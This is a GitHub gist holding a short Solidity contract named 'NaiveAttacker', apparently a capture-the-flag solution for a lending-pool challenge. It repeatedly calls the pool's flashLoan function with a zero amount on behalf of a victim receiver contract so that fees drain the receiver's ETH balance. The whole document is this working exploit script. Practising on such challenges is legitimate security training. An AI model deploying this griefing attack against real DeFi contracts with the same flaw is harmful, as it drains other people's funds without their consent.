Skip to content

Instantly share code, notes, and snippets.

@0xAnon101
Created August 15, 2022 05:41
Show Gist options
  • Save 0xAnon101/4c8b0706a236af43f07480dd51e0c304 to your computer and use it in GitHub Desktop.
Save 0xAnon101/4c8b0706a236af43f07480dd51e0c304 to your computer and use it in GitHub Desktop.
attacker for lend/borrow
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";
contract NaiveAttacker {
address pool;
constructor(address payable _pool) {
pool = _pool;
}
function emptyReceiverBalance(address payable receiver) external {
require(receiver.balance > 0, "Receiver has 0 ETH left");
bytes memory signature = abi.encodeWithSignature(
"flashLoan(address,uint256)",
receiver,
0
);
for (uint8 i = 0; i < 10; i++) {
(bool success, ) = pool.call(signature);
console.log("%s", address(pool).balance);
require(success, "Custom revert: error while calling pool");
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment